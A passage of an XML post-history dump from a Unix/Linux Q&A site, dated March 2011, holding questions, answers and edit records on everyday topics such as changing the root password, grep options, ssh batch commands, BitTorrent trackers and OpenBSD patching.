\+\)\([0-9:mb]\+\)\(.*\)/\1\2\3${a}\5\6${z}\8/&quot;  $HOME/.config/smplayer/smplayer.ini&#xD;&#xA;    )&#xD;&#xA;    exit&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24168" PostHistoryTypeId="2" PostId="10092" RevisionGUID="53a563ab-9e46-40db-9b4b-940d5c38fa9b" CreationDate="2011-03-25T12:01:16.763" UserId="6036" Text="&gt; sudo service --status-all &#xD;&#xA;&#xD;&#xA;This command will tell you the what are the services are currently running and which are not started or stopped.." />
  <row Id="24169" PostHistoryTypeId="5" PostId="10083" RevisionGUID="bae91a37-3093-486d-9bfe-9bb6cd3c44b2" CreationDate="2011-03-25T12:24:37.523" UserId="73" Comment="added 191 characters in body" Text="You might want to look at [Linux From Scratch](http://www.linuxfromscratch.org/lfs/):&#xD;&#xA;&#xD;&#xA;&gt; Linux From Scratch (LFS) is a project that provides you with step-by-step instructions for building your own customized Linux system entirely from source.&#xD;&#xA;" />
  <row Id="24170" PostHistoryTypeId="5" PostId="10085" RevisionGUID="db9a9a47-a438-4e5a-b160-be3bddd71851" CreationDate="2011-03-25T12:26:05.480" UserId="916" Comment="markdown and punctuation" Text="`man expect`? :\&#xD;&#xA;&#xD;&#xA;but it's not the perfect way." />
  <row Id="24171" PostHistoryTypeId="24" PostId="10085" RevisionGUID="db9a9a47-a438-4e5a-b160-be3bddd71851" CreationDate="2011-03-25T12:26:05.480" Comment="Proposed by 916 approved by 73 edit id of 231" />
  <row Id="24173" PostHistoryTypeId="2" PostId="10093" RevisionGUID="6f11bf28-ef81-4bb1-b3de-acccbf2df8f1" CreationDate="2011-03-25T12:39:30.263" UserId="651" Text="It's simply a warning, you can just ignore it. There is a command line flag to python to make it ignore that class of warnings: `-W ignore::DeprecationWarning` (it's ignored by default starting at version 2.7)&#xD;&#xA;&#xD;&#xA;Personally I'm still using bttrack even though it's getting old and does not support the latest improvements to the Bittorrent protocol: it's efficient, easy to use and reliable. I've got a couple of trackers and seeders up and running to support a Linux distribution." />
  <row Id="24174" PostHistoryTypeId="5" PostId="10084" RevisionGUID="15db5ae0-1e02-46f3-bfbc-f5fb86748bc9" CreationDate="2011-03-25T13:07:35.707" UserId="73" Comment="added 33 characters in body; edited tags" Text="How can I run commands in batch mode over ssh? That is, what is the `ssh` command's equivalent of `sftp -b &lt;filename&gt; &lt;hostname&gt;`?&#xD;&#xA;&#xD;&#xA;I have a set of commands which I wish to run across a set of hosts connecting over `ssh`. Over `sftp`, i store the commands in a file `filename` and connect to the host and run the commands using the previously mentioned command.&#xD;&#xA;&#xD;&#xA;Is something like that possible over `ssh`?" />
  <row Id="24175" PostHistoryTypeId="6" PostId="10084" RevisionGUID="15db5ae0-1e02-46f3-bfbc-f5fb86748bc9" CreationDate="2011-03-25T13:07:35.707" UserId="73" Comment="added 33 characters in body; edited tags" Text="ésshàésolarisàébatchömodeà" />
  <row Id="24176" PostHistoryTypeId="2" PostId="10094" RevisionGUID="89b1a66a-239e-441a-981d-2651624a235b" CreationDate="2011-03-25T13:38:51.080" UserId="4667" Text="perhaps&#xD;&#xA;&#xD;&#xA;    ssh user@host sh -c &quot;$(&lt;filename)&quot;" />
  <row Id="24177" PostHistoryTypeId="10" PostId="10076" RevisionGUID="95832b28-ed94-4ab7-b6fd-328ec5983930" CreationDate="2011-03-25T13:39:48.297" UserId="-1" CloseReasonId="7" Text="[{&quot;Id&quot;:250,&quot;DisplayName&quot;:&quot;phunehehe&quot;},{&quot;Id&quot;:688,&quot;DisplayName&quot;:&quot;Tshepang&quot;},{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="24178" PostHistoryTypeId="2" PostId="10095" RevisionGUID="5e353dcf-9ed3-45fe-8b81-faf3d35243ee" CreationDate="2011-03-25T14:08:11.063" UserId="5646" Text="I want to change the password I assigned to root on my Debian webserver to something longer and more secure.&#xD;&#xA;&#xD;&#xA;Bit of an obvious newbie question, but how do I do that? I haven’t forgotten/lost the current password, I just want to change it." />
  <row Id="24179" PostHistoryTypeId="1" PostId="10095" RevisionGUID="5e353dcf-9ed3-45fe-8b81-faf3d35243ee" CreationDate="2011-03-25T14:08:11.063" UserId="5646" Text="How do you change the root password on Debian?" />
  <row Id="24180" PostHistoryTypeId="3" PostId="10095" RevisionGUID="5e353dcf-9ed3-45fe-8b81-faf3d35243ee" CreationDate="2011-03-25T14:08:11.063" UserId="5646" Text="édebianàérootàépasswordà" />
  <row Id="24181" PostHistoryTypeId="2" PostId="10096" RevisionGUID="be4f4f77-14cf-475c-94ac-825b8cb93afa" CreationDate="2011-03-25T14:08:43.730" UserId="5646" Text="Ah: [use the `passwd` program](http://www.linuxquestions.org/questions/linux-newbie-8/change-my-root-password-in-debian-linux-if-i-have-the-current-password-693323/).&#xD;&#xA;&#xD;&#xA;    $ passwd root" />
  <row Id="24182" PostHistoryTypeId="5" PostId="10063" RevisionGUID="32ce48de-a193-4ac7-a270-2da795aa912c" CreationDate="2011-03-25T14:11:55.787" UserId="2876" Comment="Several fixes. " Text="As the title suggests I would like to setup a BitTornado tracker for a local network. At the moment I am using OpenBitTorrent as my tracker but this seems strange as I don't want to do this over the net and I'm not sure how secure or legal it is.&#xD;&#xA;&#xD;&#xA;The &quot;server&quot; is running Bodhi Linux.&#xD;&#xA;&#xD;&#xA;I found a how-to on TuxCoder using this command to start the tracker&#xD;&#xA;&#xD;&#xA;    bttrack --port 6969 --dfile ~/.bttrack/dstate --logfile ~/.bttrack/tracker.log --nat_check 0 --scrape_allowed full&#xD;&#xA;&#xD;&#xA;However I get back a deprecation warning:&#xD;&#xA;&#xD;&#xA;    /usr/lib/pymodules/python2.6/BitTornado/__init__.py:8: DeprecationWarning: the sha module is deprecated; use the hashlib module instead&#xD;&#xA;      from sha import sha&#xD;&#xA;    **warning** could not redirect stdout to log file:  &lt;type 'exceptions.IOError'&gt;&#xD;&#xA;&#xD;&#xA;It may be that there is a better tracker out there. I'm not an expert, which is why I'm asking this question." />
  <row Id="24183" PostHistoryTypeId="4" PostId="10063" RevisionGUID="32ce48de-a193-4ac7-a270-2da795aa912c" CreationDate="2011-03-25T14:11:55.787" UserId="2876" Comment="Several fixes. " Text="How do I set up a BitTornado tracker?" />
  <row Id="24184" PostHistoryTypeId="24" PostId="10063" RevisionGUID="32ce48de-a193-4ac7-a270-2da795aa912c" CreationDate="2011-03-25T14:11:55.787" Comment="Proposed by 2876 approved by 73 edit id of 233" />
  <row Id="24185" PostHistoryTypeId="5" PostId="9984" RevisionGUID="841e60d3-bfb6-45f2-aa1b-0a9ef0943543" CreationDate="2011-03-25T14:12:16.817" UserId="2876" Comment="Several fixes, clarifications." Text="Do you know how I can find the maximum resolution, processor type and RAM capacity of my device in Maemo?" />
  <row Id="24186" PostHistoryTypeId="4" PostId="9984" RevisionGUID="841e60d3-bfb6-45f2-aa1b-0a9ef0943543" CreationDate="2011-03-25T14:12:16.817" UserId="2876" Comment="Several fixes, clarifications." Text="Maemo: how to get system information/specifications?" />
  <row Id="24187" PostHistoryTypeId="24" PostId="9984" RevisionGUID="841e60d3-bfb6-45f2-aa1b-0a9ef0943543" CreationDate="2011-03-25T14:12:16.817" Comment="Proposed by 2876 approved by -1 edit id of 232" />
  <row Id="24188" PostHistoryTypeId="5" PostId="9984" RevisionGUID="cf27da55-3a75-4642-a4d9-28ad47027001" CreationDate="2011-03-25T14:12:17.050" UserId="73" Comment="deleted 12 characters in body" Text="How can I find the maximum resolution, processor type and RAM capacity of my device in Maemo?" />
  <row Id="24189" PostHistoryTypeId="2" PostId="10097" RevisionGUID="8adc830d-249a-47ef-98de-c4bb07efec87" CreationDate="2011-03-25T14:27:42.763" UserId="3389" Text="You will need a minimal running system, likely from another distro, to &quot;bootstrap&quot; your own distro with enough to at least get gcc or another C compiler running.  You then need to start by deciding what core libraries (including libc) and software comprises the base, &quot;no-packages-installed&quot; state of your system.  Then, get the source to these libraries and software and compile them, make sure all the software can find the libraries it needs, and start creating your low-level base environment.&#xD;&#xA;&#xD;&#xA;Basically your bootstrap environment will be nothing more than a running kernel and the absolute minimum you need to get a basic shell, a C compiler, and basic things like `rm`, `cp`, `tar` and stuff like that working.  The next thing you should get up and running after that is Perl.  Once you have your base system created,  you need to persist it and create some boot scripts that takes the system from initial boot to a useable shell with a compiler.&#xD;&#xA;&#xD;&#xA;Then you need to design/write a package system and format, and download the source code to the software you want to package, compile and package it, and design a robust distribution system for your packages.  None of this is trivial.  Good luck." />
  <row Id="24190" PostHistoryTypeId="25" PostId="10095" RevisionGUID="7e0e1725-12de-4694-9724-58d16cd54925" CreationDate="2011-03-25T14:31:38.033" Comment="http://twitter.com/#!/StackUnix/status/51290144212398080" />
  <row Id="24191" PostHistoryTypeId="5" PostId="10058" RevisionGUID="d5998283-0ad6-4502-bfea-9e123ef6041a" CreationDate="2011-03-25T15:00:22.130" UserId="5685" Comment="fix typo" Text="I've used Debian, Gentoo and Arch for a couple of years each. The more customizable by far is Gentoo. But it takes thought each time you want a given package. Debian is, well Debian: a mainstream distro, that can feel bloated to some. Given your requirements, I think you might like Arch. It's pretty lightweight and there are tons of bleeding-edge packages." />
  <row Id="24192" PostHistoryTypeId="5" PostId="10096" RevisionGUID="40973033-161a-4b25-acbd-be5a3cac9e7a" CreationDate="2011-03-25T15:02:56.930" UserId="5646" Comment="added 63 characters in body" Text="Ah: [use the `passwd` program](http://www.linuxquestions.org/questions/linux-newbie-8/change-my-root-password-in-debian-linux-if-i-have-the-current-password-693323/).&#xD;&#xA;&#xD;&#xA;    $ sudo passwd root&#xD;&#xA;&#xD;&#xA;Or, if you’re running as root already:&#xD;&#xA;&#xD;&#xA;    $ passwd" />
  <row Id="24193" PostHistoryTypeId="2" PostId="10098" RevisionGUID="8f081991-2d3b-45ee-aa98-4da2c7349a38" CreationDate="2011-03-25T16:06:28.200" UserId="5740" Text="I've been using Linux for quite a while, but have only recently started getting into command line operations. I'm trying to use grep to find a specific piece of text in a bunch of files on my web server. No problem, except that it returns way more information than I want! Ideally it would just return a list of files, and if the text exists in more than one place in the file it would only list the file name once. &#xD;&#xA;&#xD;&#xA;Currently I'm using something like this:&#xD;&#xA;&#xD;&#xA;    grep -ir essay_ &quot;mysite&quot;&#xD;&#xA;&#xD;&#xA;to do a case-insensitive recursive search for the word essay_ in all directories of my site. What it returns is something like this:&#xD;&#xA;&#xD;&#xA;    mysite/dot/contest_declaration.php:$questions = $db-&gt;get_results(&quot;SELECT * FROM dot_essay WHERE active = 1 order by display_order asc&quot;);&#xD;&#xA;    mysite/dot/contest_declaration.php:		$db-&gt;query(&quot;DELETE FROM dot_essay_xref WHERE entry_id = $svar_entry_id&quot;);&#xD;&#xA;    mysite/dot/contest_declaration.php:		$id = $question-&gt;essay_id;&#xD;&#xA;    mysite/dot/contest_declaration.php:		$answer = ${&quot;essay_$id&quot;};&#xD;&#xA;    shoppermarketexpo/dot/print_declaration.php:		$questions = $db-&gt;get_results(&quot;SELECT * FROM dot_essay WHERE active = 1&quot;);&#xD;&#xA;&#xD;&#xA;What I'd like to get back is:&#xD;&#xA;&#xD;&#xA;    mysite/dot/contest_declaration.php&#xD;&#xA;    mysite/dot/print_declaration.php&#xD;&#xA;&#xD;&#xA;Can anyone help me out? I've read a bunch of &quot;tutorials&quot; on grep, but they're all focused on things like searching with regex. &#xD;&#xA;" />
  <row Id="24194" PostHistoryTypeId="1" PostId="10098" RevisionGUID="8f081991-2d3b-45ee-aa98-4da2c7349a38" CreationDate="2011-03-25T16:06:28.200" UserId="5740" Text="newbie question: what params do I pass to grep to return only file names?" />
  <row Id="24195" PostHistoryTypeId="3" PostId="10098" RevisionGUID="8f081991-2d3b-45ee-aa98-4da2c7349a38" CreationDate="2011-03-25T16:06:28.200" UserId="5740" Text="égrepà" />
  <row Id="24196" PostHistoryTypeId="5" PostId="10096" RevisionGUID="4df23afc-de05-41d3-8870-40dc7643ed5b" CreationDate="2011-03-25T16:08:55.813" UserId="250" Comment="Add reference to &quot;as root&quot;" Text="Ah, [use the `passwd` program](http://www.linuxquestions.org/questions/linux-newbie-8/change-my-root-password-in-debian-linux-if-i-have-the-current-password-693323/) [as root](http://unix.stackexchange.com/q/3063/250):&#xD;&#xA;&#xD;&#xA;    sudo passwd root&#xD;&#xA;&#xD;&#xA;Or, if you’re running as root already:&#xD;&#xA;&#xD;&#xA;    passwd root&#xD;&#xA;&#xD;&#xA;The `root` argument can be omitted. Because when you execute `passwd` it defaults to the current user (which is root, as only root can change the root password)." />
  <row Id="24197" PostHistoryTypeId="2" PostId="10099" RevisionGUID="9fb48c7e-2ca4-4a37-a7cb-7aa1f758d2a1" CreationDate="2011-03-25T16:14:59.537" UserId="1170" Text="       -l, --files-with-matches&#xD;&#xA;              Suppress normal output; instead print the  name  of  each  input&#xD;&#xA;              file  from  which  output would normally have been printed.  The&#xD;&#xA;              scanning will stop on the first  match.   (-l  is  specified  by&#xD;&#xA;              POSIX.)&#xD;&#xA;&#xD;&#xA;from grep manpage" />
  <row Id="24198" PostHistoryTypeId="2" PostId="10100" RevisionGUID="f2b55511-9b83-4b33-916d-1a0c007e2064" CreationDate="2011-03-25T16:15:39.707" UserId="591" Text="You want the `-l` (el) or `--files-with-matches` command line switch(es) &#xD;&#xA;&#xD;&#xA;&gt; Suppress normal output; instead print&#xD;&#xA;&gt; the  name  of  each  input&#xD;&#xA;&gt;               file  from  which  output would normally have been&#xD;&#xA;&gt; printed.  The&#xD;&#xA;&gt;               scanning will stop on the first  match.   (-l  is  specified by POSIX.)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24199" PostHistoryTypeId="5" PostId="10098" RevisionGUID="87c7f5c7-c520-49ca-b70d-3e2612973518" CreationDate="2011-03-25T16:16:58.727" UserId="138" Comment="fluff removal, added tag" Text="I'm trying to use grep to find a specific piece of text in a bunch of files on my web server. No problem, except that it returns way more information than I want! Ideally it would just return a list of files, and if the text exists in more than one place in the file it would only list the file name once. &#xD;&#xA;&#xD;&#xA;Currently I'm using something like this:&#xD;&#xA;&#xD;&#xA;    grep -ir essay_ &quot;mysite&quot;&#xD;&#xA;&#xD;&#xA;to do a case-insensitive recursive search for the word essay_ in all directories of my site. What it returns is something like this:&#xD;&#xA;&#xD;&#xA;    mysite/dot/contest_declaration.php:$questions = $db-&gt;get_results(&quot;SELECT * FROM dot_essay WHERE active = 1 order by display_order asc&quot;);&#xD;&#xA;    mysite/dot/contest_declaration.php:		$db-&gt;query(&quot;DELETE FROM dot_essay_xref WHERE entry_id = $svar_entry_id&quot;);&#xD;&#xA;    mysite/dot/contest_declaration.php:		$id = $question-&gt;essay_id;&#xD;&#xA;    mysite/dot/contest_declaration.php:		$answer = ${&quot;essay_$id&quot;};&#xD;&#xA;    shoppermarketexpo/dot/print_declaration.php:		$questions = $db-&gt;get_results(&quot;SELECT * FROM dot_essay WHERE active = 1&quot;);&#xD;&#xA;&#xD;&#xA;What I'd like to get back is:&#xD;&#xA;&#xD;&#xA;    mysite/dot/contest_declaration.php&#xD;&#xA;    mysite/dot/print_declaration.php" />
  <row Id="24200" PostHistoryTypeId="4" PostId="10098" RevisionGUID="87c7f5c7-c520-49ca-b70d-3e2612973518" CreationDate="2011-03-25T16:16:58.727" UserId="138" Comment="fluff removal, added tag" Text="What params do I pass to grep to return only file names?" />
  <row Id="24201" PostHistoryTypeId="6" PostId="10098" RevisionGUID="87c7f5c7-c520-49ca-b70d-3e2612973518" CreationDate="2011-03-25T16:16:58.727" UserId="138" Comment="fluff removal, added tag" Text="écommandölineàégrepà" />
  <row Id="24202" PostHistoryTypeId="2" PostId="10101" RevisionGUID="b21d1617-8c38-4679-80a2-30a553b091c0" CreationDate="2011-03-25T16:53:17.257" UserId="2267" Text="My saved-messages and sent-mail &quot;folders&quot; (actually Unix MBX files)&#xD;&#xA;are huge because of attachments, most of which I've saved to disk&#xD;&#xA;anyway.&#xD;&#xA;&#xD;&#xA;I want to keep the messages, but replace the attachment w/ a text file&#xD;&#xA;saying &quot;Attachment removed: /full/path/to/attach.txt&quot;.&#xD;&#xA;&#xD;&#xA;How do I do this?&#xD;&#xA;&#xD;&#xA;I'm using Alpine, but any tool that does this for Unix MBX is&#xD;&#xA;fine. Alpine *does* let me delete attachments from emails, but I can't&#xD;&#xA;replace them w/ a text file. Notes: &#xD;&#xA; &#xD;&#xA;  - I realize I can save the message to a file and edit the file using &#xD;&#xA;  emacs, but that's kludgey and probably messes up &quot;Content-Length&quot; &#xD;&#xA;  headers and stuff. &#xD;&#xA; &#xD;&#xA;  - I also realize I can forward the message, with headers, to myself &#xD;&#xA;  after removing the attachment. Again, kludgey. &#xD;&#xA; &#xD;&#xA;  - I don't think Alpine lets me add attachments to stored mail &#xD;&#xA;  (unless I want to send it somewhere [which messes up headers]), so I &#xD;&#xA;  can't delete the big attachment and add a smaller one. &#xD;&#xA; &#xD;&#xA;  - I realize I could write a Perl script to do this, but hoping for &#xD;&#xA;  an existing well-tested solution. &#xD;&#xA;" />
  <row Id="24203" PostHistoryTypeId="1" PostId="10101" RevisionGUID="b21d1617-8c38-4679-80a2-30a553b091c0" CreationDate="2011-03-25T16:53:17.257" UserId="2267" Text="Best way to archive attachments?" />
  <row Id="24204" PostHistoryTypeId="3" PostId="10101" RevisionGUID="b21d1617-8c38-4679-80a2-30a553b091c0" CreationDate="2011-03-25T16:53:17.257" UserId="2267" Text="émailà" />
  <row Id="24205" PostHistoryTypeId="2" PostId="10102" RevisionGUID="29e5e30c-146c-48dc-bd32-58d2498e1f0d" CreationDate="2011-03-25T17:11:27.893" UserId="5664" Text="Currently OBSD 4.8 is the last released version, so:&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;ftp://ftp.openbsd.org/pub/OpenBSD/4.8/amd64/&lt;br&gt;&#xD;&#xA;install48.iso - 225 MByte&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;ftp://piotrkosoft.net/pub/OpenBSD/snapshots/amd64/&lt;br&gt;&#xD;&#xA;install48.iso - 229 MByte&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;_So_ this means the &lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;ftp://piotrkosoft.net/pub/OpenBSD/snapshots/amd64/install48.iso&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;is the original 4.8 release + all the patches? &lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;[it's a little bigger then the original one, that's why i suppose this]&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;If someone says it's true, so that there is an install48.iso that contains all the patches [in the snapshot directory], than it's answered!! :)&lt;br&gt;" />
  <row Id="24206" PostHistoryTypeId="4" PostId="10086" RevisionGUID="366e0a5e-2d12-4e9c-8d27-b8a8e8f3d727" CreationDate="2011-03-25T17:11:55.553" UserId="5664" Comment="edited title" Text="OpenBSD patch system" />
  <row Id="24207" PostHistoryTypeId="2" PostId="10103" RevisionGUID="b375616b-cdaa-4e1b-86b3-46f088c8d9cf" CreationDate="2011-03-25T17:13:38.260" UserId="688" Text="A discussion from [this post][1] made me curious of differences between Debian and Arch package management. I'm not talking usage, but more of handling dependencies. &#xD;&#xA;&#xD;&#xA;Also, people tend to say that Arch is very light-weight, so I wonder what that has to do with package management. Is it maybe because Debian treats *Recommends* as hard dependencies by default?&#xD;&#xA;&#xD;&#xA;Can you also mention the flexibility/power between the two package managers: which of the two lets you do more.&#xD;&#xA;&#xD;&#xA;I'm aware that some features available on a Debian package management system would be irrelevant on an Arch system, since Arch has a single Suite and Debian has multiple (e.g. APT pinning and advanced dependency handling come to mind), so please compare features that are applicable to both systems (i.e. assume that for Debian, I use only on *Unstable*).&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/10047/the-right-distro-for-text-based-needs/10054#10054" />
  <row Id="24208" PostHistoryTypeId="1" PostId="10103" RevisionGUID="b375616b-cdaa-4e1b-86b3-46f088c8d9cf" CreationDate="2011-03-25T17:13:38.260" UserId="688" Text="Differences in package management between Debian and Arch" />
  <row Id="24209" PostHistoryTypeId="3" PostId="10103" RevisionGUID="b375616b-cdaa-4e1b-86b3-46f088c8d9cf" CreationDate="2011-03-25T17:13:38.260" UserId="688" Text="édebianàéarchölinuxà" />
  <row Id="24210" PostHistoryTypeId="5" PostId="10086" RevisionGUID="bf3afa3c-2c61-4f0a-8160-695cf8dfe69c" CreationDate="2011-03-25T17:18:35.970" UserId="5664" Comment="edited body; edited body" Text="If i install OBSD from CDROM: &#xD;&#xA;&#xD;&#xA;http://www.openbsd.org/ftp.html&#xD;&#xA;&#xD;&#xA;with &quot;install48.iso&quot; then is it patched?&#xD;&#xA;&#xD;&#xA;All the &#xD;&#xA;&#xD;&#xA;http://www.openbsd.org/errata48.html&#xD;&#xA;&#xD;&#xA;10 patches are in the iso file? Or i have to run the patches 1 by 1?? &#xD;&#xA;How can i apply these patches? Is there a one-liner command (like under Linux: yum upgrade or apt-get upgrade), or i have to download and apply all 10 one by one?" />
  <row Id="24211" PostHistoryTypeId="5" PostId="10102" RevisionGUID="39155153-31cf-459b-a6ff-5c8bef6d2cc1" CreationDate="2011-03-25T17:21:08.837" UserId="5664" Comment="added 3 characters in body" Text="Currently OBSD 4.8 is the last released version, so:&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;ftp://ftp.openbsd.org/pub/OpenBSD/4.8/amd64/&lt;br&gt;&#xD;&#xA;install48.iso - 225 MByte&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;ftp://piotrkosoft.net/pub/OpenBSD/snapshots/amd64/&lt;br&gt;&#xD;&#xA;install48.iso - 229 MByte&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;_So_ this means the &lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;ftp://piotrkosoft.net/pub/OpenBSD/snapshots/amd64/install48.iso&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;is the original 4.8 release + all the 10 patches? &lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;[it's a little bigger then the original one, that's why i suppose this]&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;If someone says it's true, so that there is an install48.iso that contains all the patches [in the snapshot directory], than it's answered!! :)&lt;br&gt;" />
  <row Id="24212" PostHistoryTypeId="2" PostId="10104" RevisionGUID="ed5b5808-4d4e-4f43-8637-709331e3c787" CreationDate="2011-03-25T17:25:29.473" UserId="5763" Text="I have similar issues in Windows, while using HP laptops and its docking stations. These kind of issues can be solved by connecting laptop to dock before starting the OS." />
  <row Id="24213" PostHistoryTypeId="25" PostId="10098" RevisionGUID="17c6f31f-fc7a-4d5c-b914-eab891fed19b" CreationDate="2011-03-25T17:31:38.500" Comment="http://twitter.com/#!/StackUnix/status/51335443643514880" />
  <row Id="24214" PostHistoryTypeId="2" PostId="10105" RevisionGUID="644b099a-747a-4f0f-8ea9-e6e22ca393b7" CreationDate="2011-03-25T17:34:15.473" UserId="6048" Text="Pardus 2011, Kde is primary desktop environment. it is fast, elegant, doesn't spend too much memory, stable, fully integrated with gtk apps(thanks to the new gtk theme). It is really user-friendly( Since it's primary customers are government institutes.)" />
  <row Id="24215" PostHistoryTypeId="2" PostId="10106" RevisionGUID="f88d55bd-0177-4d6e-a7a2-cc91f9c6cf23" CreationDate="2011-03-25T17:39:33.397" UserId="2827" Text="I've got a SLES machine that accumulates TCP connections in a CLOSE_WAIT state for what appears to be forever.  These descriptors eventually suck up all available memory.  At the moment, I've got 3037 of them, but it was much higher before a hurry-up reboot recently.&#xD;&#xA;&#xD;&#xA;What's interesting is that they're not from connections to local ports that I expect to have listening processes.  They have no associated PIDs, and their timers seem to have expired.&#xD;&#xA;&#xD;&#xA;    # netstat -ton | grep CLOSE_WAIT&#xD;&#xA;    tcp      176      0 10.0.0.60:54882     10.0.0.12:31663      CLOSE_WAIT  off (0.00/0/0)&#xD;&#xA;    tcp       54      0 10.0.0.60:60957     10.0.0.12:4503       CLOSE_WAIT  off (0.00/0/0)&#xD;&#xA;    tcp       89      0 10.0.0.60:50959     10.0.0.12:3518       CLOSE_WAIT  off (0.00/0/0)&#xD;&#xA;&#xD;&#xA;I'm not a black-belt when it comes to the TCP stack, or kernel networking, but the TCP config seems sane, since these values are default, per the man page:&#xD;&#xA;&#xD;&#xA;    # cat /proc/sys/net/ipv4/tcp_fin_timeout &#xD;&#xA;    60&#xD;&#xA;    # cat /proc/sys/net/ipv4/tcp_keepalive_time &#xD;&#xA;    7200&#xD;&#xA;&#xD;&#xA;So what gives?  If the timers have expired, shouldn't the stack automatically clear this stuff out?  I'm effectively giving myself a long-term DoS.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24216" PostHistoryTypeId="1" PostId="10106" RevisionGUID="f88d55bd-0177-4d6e-a7a2-cc91f9c6cf23" CreationDate="2011-03-25T17:39:33.397" UserId="2827" Text="Orphaned connections in CLOSE_WAIT state." />
  <row Id="24217" PostHistoryTypeId="3" PostId="10106" RevisionGUID="f88d55bd-0177-4d6e-a7a2-cc91f9c6cf23" CreationDate="2011-03-25T17:39:33.397" UserId="2827" Text="élinuxàénetworkingàétcpà" />
  <row Id="24218" PostHistoryTypeId="2" PostId="10107" RevisionGUID="59bdc79c-ffc7-4c0f-9016-8e75b1703f25" CreationDate="2011-03-25T17:55:44.033" UserId="4671" Text="You could use ssh forced commands.&#xD;&#xA;&#xD;&#xA;These are associated with a particular key. When an authentication is done with that key, that command is run and the connection exits. One advantage of this approach is increased security, since in that case the key can't be used to get to a login shell." />
  <row Id="24219" PostHistoryTypeId="2" PostId="10108" RevisionGUID="0e63e933-9e11-4338-bfa2-2b1561396838" CreationDate="2011-03-25T18:31:55.007" UserId="6049" Text="The answer is simple. As of Kate 3.4.3 (present in KDE 4.4.3) you **can not** replace in multiple files at once but just in the one you're currently viewing calling &quot;edit-&gt;replace&quot; or with the CTRL+R shortcut." />
  <row Id="24220" PostHistoryTypeId="2" PostId="10109" RevisionGUID="1e5d75de-677f-4f31-b194-a74576155d4e" CreationDate="2011-03-25T18:39:19.643" UserId="4991" Text="In Ubuntu Gnome, the recent documents are stored in `~/.recently-used.xbel`.  You can `rm` that file, but Gnome Panel will still show the list.  There's got to be a better way to get the panel to refresh but `killall gnome-panel` will work. &#xD;&#xA; &#xD;&#xA;    rm ~/.recently-used.xbel&#xD;&#xA;    killall gnome-panel&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24221" PostHistoryTypeId="2" PostId="10110" RevisionGUID="377ceeb0-3896-4c1a-afb0-d1feddcc075c" CreationDate="2011-03-25T18:45:14.563" UserId="663" Text="I'd like to automate some interactions with yast2. I assume I can do everything on the command line that I can do in the curses interface, but I'm not sure how to figure out what the commands are. &#xD;&#xA;&#xD;&#xA;For example, if I want yast2 to use a local ISO as a package repository, I know how to do it through the curses GUI (Software-&gt;Add-On Productions, Add, Local ISO Image, Browse, ...). &#xD;&#xA;&#xD;&#xA;Is there a way to identify these interactions with arguments that can be passed to yast2 on the command-line?" />
  <row Id="24222" PostHistoryTypeId="1" PostId="10110" RevisionGUID="377ceeb0-3896-4c1a-afb0-d1feddcc075c" CreationDate="2011-03-25T18:45:14.563" UserId="663" Text="YaST2: Command-line equivalents to GUI naviagtion" />
  <row Id="24223" PostHistoryTypeId="3" PostId="10110" RevisionGUID="377ceeb0-3896-4c1a-afb0-d1feddcc075c" CreationDate="2011-03-25T18:45:14.563" UserId="663" Text="éopensuseà" />
  <row Id="24224" PostHistoryTypeId="2" PostId="10111" RevisionGUID="d74e6efb-bf3f-4000-8464-fa99bacdee6c" CreationDate="2011-03-25T19:20:54.653" UserId="6050" Text="I've upgraded my openSuse os from 11.3 to 11.4. Everything went smoothly but now I cannot see any item in main menu (analog of Start in Windows) and I cannot set any background picture, so now I see a single color desktop. KDE desktop is working properly.&#xD;&#xA;&#xD;&#xA;Machine specs:&#xD;&#xA;Laptop&#xD;&#xA;AMD Turion TL-56&#xD;&#xA;Video Card Nvidia Go 7200 (driver from NVidia is installed)&#xD;&#xA;&#xD;&#xA;I think there are some settings which are now preventing GNOME to initialize properly still cannot find any that could change the behavior.&#xD;&#xA;" />
  <row Id="24225" PostHistoryTypeId="1" PostId="10111" RevisionGUID="d74e6efb-bf3f-4000-8464-fa99bacdee6c" CreationDate="2011-03-25T19:20:54.653" UserId="6050" Text="There are no items in GNOME main menu after openSuse 11.4 upgrade." />
  <row Id="24226" PostHistoryTypeId="3" PostId="10111" RevisionGUID="d74e6efb-bf3f-4000-8464-fa99bacdee6c" CreationDate="2011-03-25T19:20:54.653" UserId="6050" Text="égnomeàéopensuseàédesktopöenvironmentà" />
  <row Id="24227" PostHistoryTypeId="5" PostId="10053" RevisionGUID="a5193fd1-6682-4e04-a8bd-f7a7b3359764" CreationDate="2011-03-25T19:47:45.690" UserId="298" Comment="make more clear that wtmp and btmp are binary logs that require programs to parse. ; edited body" Text="On linux, logins and failed logins are logged in binary format in /var/log/wtmp and /var/log/btmp respectively.  In order to view those logs in human readable format, you need to use the command `last` or `lastb`.  You can also check your /var/log/auth.log (which is plain text) for successful / failed authentication attempts.  &#xD;&#xA;&#xD;&#xA;In OpenBSD there is no /var/log/btmp, but the last command works.  Also, the authlog is in /var/log/authlog.&#xD;&#xA; &#xD;&#xA;In Solaris the last command works, but (at least on the system I have access to) authlog seems to be empty.  &#xD;&#xA;" />
